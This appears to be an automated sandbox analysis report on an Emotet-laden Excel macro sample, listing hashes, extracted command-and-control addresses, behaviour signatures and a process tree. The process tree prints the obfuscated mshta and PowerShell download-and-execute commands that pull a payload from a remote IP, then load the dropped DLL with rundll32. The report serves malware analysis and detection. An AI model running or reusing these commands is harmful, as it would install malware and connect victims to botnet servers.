Analysis
-
max time kernel
158s -
max time network
148s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
18-01-2022 21:49
Behavioral task
behavioral1
Sample
a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm
Resource
win10-en-20211208
General
-
Target
a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm
-
Size
112KB
-
MD5
2f00a54638c5af4aa67c03f1d7ec12d0
-
SHA1
23994a8656707b655417077ca79294dd5a82cf36
-
SHA256
a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12
-
SHA512
c50ae050b50fb210c640cdd014a211f1eae5b35ba25d2728f9bb6e726ca81b459e0d593a75bf7e20d5717c008d3b004da83f63a59e0ce1cdad4a826c59070220
Malware Config
Extracted
http://92.255.57.195/ru/ru.html
Extracted
http://92.255.57.195/ru/ru.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2404 2460 cmd.exe 67 -
Blocklisted process makes network request 6 IoCs
flow pid Process 31 3172 mshta.exe 34 3940 powershell.exe 36 3940 powershell.exe 44 2940 rundll32.exe 45 2940 rundll32.exe 47 2940 rundll32.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
pid Process 872 rundll32.exe 2412 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Semufcrga\zqafbzuvrw.ary rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 2740 3172 WerFault.exe 73 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2460 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 3940 powershell.exe 3940 powershell.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 2740 WerFault.exe 3940 powershell.exe 2940 rundll32.exe 2940 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3940 powershell.exe Token: SeDebugPrivilege 2740 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE 2460 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2460 wrote to memory of 2404 2460 EXCEL.EXE 71 PID 2460 wrote to memory of 2404 2460 EXCEL.EXE 71 PID 2404 wrote to memory of 3172 2404 cmd.exe 73 PID 2404 wrote to memory of 3172 2404 cmd.exe 73 PID 3172 wrote to memory of 3940 3172 mshta.exe 75 PID 3172 wrote to memory of 3940 3172 mshta.exe 75 PID 3940 wrote to memory of 3216 3940 powershell.exe 78 PID 3940 wrote to memory of 3216 3940 powershell.exe 78 PID 3216 wrote to memory of 872 3216 cmd.exe 79 PID 3216 wrote to memory of 872 3216 cmd.exe 79 PID 3216 wrote to memory of 872 3216 cmd.exe 79 PID 872 wrote to memory of 2412 872 rundll32.exe 80 PID 872 wrote to memory of 2412 872 rundll32.exe 80 PID 872 wrote to memory of 2412 872 rundll32.exe 80 PID 2412 wrote to memory of 2652 2412 rundll32.exe 81 PID 2412 wrote to memory of 2652 2412 rundll32.exe 81 PID 2412 wrote to memory of 2652 2412 rundll32.exe 81 PID 2652 wrote to memory of 2940 2652 rundll32.exe 82 PID 2652 wrote to memory of 2940 2652 rundll32.exe 82 PID 2652 wrote to memory of 2940 2652 rundll32.exe 82
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\mshta.exemshta http://92.255.57.195/ru/ru.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Semufcrga\zqafbzuvrw.ary",ntAaFF8⤵
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Semufcrga\zqafbzuvrw.ary",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2940
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3172 -s 16724⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740
-
-
-